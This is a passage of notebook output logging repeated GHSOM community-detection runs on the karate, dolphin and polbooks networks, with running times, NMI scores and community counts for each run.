[ 0.58033157]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 97\n", "running time of algorithm: 79.5549998283\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 98\n", "running time of algorithm: 52.4930000305\n", "saved nmi score for network embedded_karate.gml: [ 0.43852015]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 99\n", "running time of algorithm: 53.2809998989\n", "saved nmi score for network embedded_karate.gml: [ 0.58842383]\n", "saved communities detected for network embedded_karate.gml: 3\n", "\n", "starting ghsom for: embedded_karate.gml, repeat: 100\n", "running time of algorithm: 80.6679999828\n", "saved nmi score for network embedded_karate.gml: [ 0.5294656]\n", "saved communities detected for network embedded_karate.gml: 4\n", "\n", "writing nmi scores and running times to file\n", "creating new nmi scores array\n", "creating new running time array\n", "creating new communites detected array\n", "density of network=0.0840824960338\n", "e_sg=0.621979513587\n", "starting ghsom for: embedded_dolphin.gml, repeat: 1\n", "running time of algorithm: 146.127999783\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49585313]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 2\n", "running time of algorithm: 147.223999977\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 3\n", "running time of algorithm: 146.337000132\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49450469]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 4\n", "running time of algorithm: 144.277999878\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4917876]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 5\n", "running time of algorithm: 145.457000017\n", "saved nmi score for network embedded_dolphin.gml: [ 0.63614901]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 6\n", "running time of algorithm: 144.950000048\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 7\n", "running time of algorithm: 147.417999983\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 8\n", "running time of algorithm: 146.046999931\n", "saved nmi score for network embedded_dolphin.gml: [ 0.53135785]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 9\n", "running time of algorithm: 147.161000013\n", "saved nmi score for network embedded_dolphin.gml: [ 0.51999994]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 10\n", "running time of algorithm: 146.198999882\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 11\n", "running time of algorithm: 147.046999931\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 12\n", "running time of algorithm: 147.250999928\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49788256]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 13\n", "running time of algorithm: 146.097000122\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 14\n", "running time of algorithm: 144.775000095\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48707936]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 15\n", "running time of algorithm: 144.491999865\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48390454]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 16\n", "running time of algorithm: 143.407999992\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 17\n", "running time of algorithm: 144.183000088\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50423703]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 18\n", "running time of algorithm: 145.611000061\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 19\n", "running time of algorithm: 145.237999916\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 20\n", "running time of algorithm: 144.851999998\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47649063]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 21\n", "running time of algorithm: 143.921000004\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 22\n", "running time of algorithm: 143.541000128\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 23\n", "running time of algorithm: 143.919999838\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 24\n", "running time of algorithm: 144.905999899\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50563041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 25\n", "running time of algorithm: 143.937999964\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 26\n", "running time of algorithm: 144.703999996\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 27\n", "running time of algorithm: 142.519999981\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 28\n", "running time of algorithm: 143.718999863\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 29\n", "running time of algorithm: 142.950000048\n", "saved nmi score for network embedded_dolphin.gml: [ 0.5057058]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 30\n", "running time of algorithm: 145.697999954\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49788256]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 31\n", "running time of algorithm: 144.839999914\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 32\n", "running time of algorithm: 145.128000021\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 33\n", "running time of algorithm: 143.738000154\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48390454]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 34\n", "running time of algorithm: 144.088999987\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49585313]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 35\n", "running time of algorithm: 144.606000185\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48390454]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 36\n", "running time of algorithm: 144.45299983\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 37\n", "running time of algorithm: 142.927999973\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48707936]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 38\n", "running time of algorithm: 142.45299983\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47649063]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 39\n", "running time of algorithm: 145.40199995\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 40\n", "running time of algorithm: 144.614000082\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 41\n", "running time of algorithm: 145.00999999\n", "saved nmi score for network embedded_dolphin.gml: [ 0.51999994]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 42\n", "running time of algorithm: 145.05099988\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 43\n", "running time of algorithm: 144.272000074\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50423703]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 44\n", "running time of algorithm: 144.414000034\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4917876]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 45\n", "running time of algorithm: 144.680000067\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48390454]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 46\n", "running time of algorithm: 145.269999981\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 47\n", "running time of algorithm: 142.928999901\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48390454]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 48\n", "running time of algorithm: 143.141000032\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47649063]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 49\n", "running time of algorithm: 142.92200017\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48952268]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 50\n", "running time of algorithm: 141.889999866\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 51\n", "running time of algorithm: 143.845999956\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48707936]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 52\n", "running time of algorithm: 144.411000013\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49788256]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 53\n", "running time of algorithm: 142.357000113\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 54\n", "running time of algorithm: 143.014999866\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 55\n", "running time of algorithm: 143.364000082\n", "saved nmi score for network embedded_dolphin.gml: [ 0.41803608]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 56\n", "running time of algorithm: 143.088999987\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50423703]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 57\n", "running time of algorithm: 145.281000137\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 58\n", "running time of algorithm: 145.076999903\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 59\n", "running time of algorithm: 143.59100008\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 60\n", "running time of algorithm: 142.437000036\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4917876]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 61\n", "running time of algorithm: 145.363000154\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50423703]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 62\n", "running time of algorithm: 145.518000126\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50563041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 63\n", "running time of algorithm: 142.246999979\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 64\n", "running time of algorithm: 143.49000001\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48756107]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 65\n", "running time of algorithm: 143.707000017\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 66\n", "running time of algorithm: 144.390000105\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49450469]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 67\n", "running time of algorithm: 144.505000114\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 68\n", "running time of algorithm: 145.460999966\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 69\n", "running time of algorithm: 142.256000042\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 70\n", "running time of algorithm: 144.549000025\n", "saved nmi score for network embedded_dolphin.gml: [ 0.53533936]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 71\n", "running time of algorithm: 143.914000034\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 72\n", "running time of algorithm: 145.415999889\n", "saved nmi score for network embedded_dolphin.gml: [ 0.5057058]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 73\n", "running time of algorithm: 142.852999926\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50563041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 74\n", "running time of algorithm: 145.782000065\n", "saved nmi score for network embedded_dolphin.gml: [ 0.53492331]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 75\n", "running time of algorithm: 143.153000116\n", "saved nmi score for network embedded_dolphin.gml: [ 0.55696111]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 76\n", "running time of algorithm: 144.328000069\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 77\n", "running time of algorithm: 143.309000015\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 78\n", "running time of algorithm: 142.011999846\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49788256]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 79\n", "running time of algorithm: 145.746999979\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 80\n", "running time of algorithm: 143.975000143\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49585313]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 81\n", "running time of algorithm: 144.656000137\n", "saved nmi score for network embedded_dolphin.gml: [ 0.41784177]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 82\n", "running time of algorithm: 145.679000139\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48984984]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 83\n", "running time of algorithm: 147.559000015\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48548981]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 84\n", "running time of algorithm: 143.334000111\n", "saved nmi score for network embedded_dolphin.gml: [ 0.50423703]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 85\n", "running time of algorithm: 143.932999849\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 86\n", "running time of algorithm: 142.43900013\n", "saved nmi score for network embedded_dolphin.gml: [ 0.5057058]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 87\n", "running time of algorithm: 145.285000086\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 88\n", "running time of algorithm: 145.192000151\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49585313]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 89\n", "running time of algorithm: 145.85800004\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 90\n", "running time of algorithm: 144.483999968\n", "saved nmi score for network embedded_dolphin.gml: [ 0.41803608]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 91\n", "running time of algorithm: 145.854000092\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 92\n", "running time of algorithm: 147.07400012\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 93\n", "running time of algorithm: 147.30099988\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49992211]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 94\n", "running time of algorithm: 144.436000109\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4917876]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 95\n", "running time of algorithm: 145.450000048\n", "saved nmi score for network embedded_dolphin.gml: [ 0.47675483]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 96\n", "running time of algorithm: 144.687000036\n", "saved nmi score for network embedded_dolphin.gml: [ 0.53533936]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 97\n", "running time of algorithm: 144.148000002\n", "saved nmi score for network embedded_dolphin.gml: [ 0.48952268]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 98\n", "running time of algorithm: 144.709000111\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 99\n", "running time of algorithm: 145.582000017\n", "saved nmi score for network embedded_dolphin.gml: [ 0.49609041]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "starting ghsom for: embedded_dolphin.gml, repeat: 100\n", "running time of algorithm: 145.048000097\n", "saved nmi score for network embedded_dolphin.gml: [ 0.4865605]\n", "saved communities detected for network embedded_dolphin.gml: 4\n", "\n", "writing nmi scores and running times to file\n", "creating new nmi scores array\n", "creating new running time array\n", "creating new communites detected array\n", "density of network=0.0807692307692\n", "e_sg=0.620727939546\n", "starting ghsom for: embedded_polbooks.gml, repeat: 1\n", "running time of algorithm: 236.218999863\n", "saved nmi score for network embedded_polbooks.gml: [ 0.52008129]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 2\n", "running time of algorithm: 247.178999901\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 3\n", "running time of algorithm: 248.730000019\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 4\n", "running time of algorithm: 251.815999985\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 5\n", "running time of algorithm: 248.60800004\n", "saved nmi score for network embedded_polbooks.gml: [ 0.55233631]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 6\n", "running time of algorithm: 248.833000183\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51312341]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 7\n", "running time of algorithm: 249.092999935\n", "saved nmi score for network embedded_polbooks.gml: [ 0.52854272]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 8\n", "running time of algorithm: 250.266000032\n", "saved nmi score for network embedded_polbooks.gml: [ 0.50739484]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 9\n", "running time of algorithm: 249.60800004\n", "saved nmi score for network embedded_polbooks.gml: [ 0.52008129]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 10\n", "running time of algorithm: 245.805999994\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 11\n", "running time of algorithm: 245.333999872\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 12\n", "running time of algorithm: 246.428999901\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 13\n", "running time of algorithm: 248.653000116\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 14\n", "running time of algorithm: 249.829999924\n", "saved nmi score for network embedded_polbooks.gml: [ 0.5198172]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 15\n", "running time of algorithm: 248.812999964\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 16\n", "running time of algorithm: 249.799000025\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 17\n", "running time of algorithm: 248.890000105\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 18\n", "running time of algorithm: 250.357000113\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 19\n", "running time of algorithm: 248.330999851\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 20\n", "running time of algorithm: 247.770999908\n", "saved nmi score for network embedded_polbooks.gml: [ 0.52008129]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 21\n", "running time of algorithm: 242.93599987\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 22\n", "running time of algorithm: 245.412000179\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 23\n", "running time of algorithm: 244.20600009\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 24\n", "running time of algorithm: 244.31400013\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 25\n", "running time of algorithm: 243.128000021\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 26\n", "running time of algorithm: 245.779000044\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 27\n", "running time of algorithm: 239.200999975\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51009765]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 28\n", "running time of algorithm: 243.717000008\n", "saved nmi score for network embedded_polbooks.gml: [ 0.51076215]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 29\n", "running time of algorithm: 243.09100008\n", "saved nmi score for network embedded_polbooks.gml: [ 0.5155065]\n", "saved communities detected for network embedded_polbooks.gml: 4\n", "\n", "starting ghsom for: embedded_polbooks.gml, repeat: 30\n", "running time of algorithm: 241.407000065\n", "saved nmi 